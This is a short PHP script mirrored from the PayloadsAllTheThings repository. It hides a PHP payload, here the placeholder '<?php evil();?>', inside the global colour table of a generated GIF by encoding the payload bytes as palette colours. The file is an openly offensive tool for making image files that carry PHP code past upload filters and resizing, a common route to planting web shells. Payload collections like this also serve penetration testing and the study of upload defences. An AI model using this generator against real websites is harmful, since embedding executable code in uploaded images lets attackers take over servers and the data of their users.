mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-26 22:35:27 +00:00
22 lines
552 B
PHP
22 lines
552 B
PHP
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<?php
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// createGIFwithGlobalColorTable.php
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$_file="example.gif";
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$_payload="<?php evil();?>";
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$_width=200;
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$_height=200;
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if(strlen($_payload)%3!=0){
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echo "payload%3==0 !"; exit();
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}
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$im = imagecreate($_width, $_height);
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$_hex=unpack('H*',$_payload);
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$colors_hex=str_split($_hex[1], 6);
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for($i=0; $i < count($colors_hex); $i++){
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$_color_chunks=str_split($colors_hex[$i], 2);
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$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
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imagesetpixel($im,$i,1,$color);
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}
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imagegif($im,$_file);
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?>
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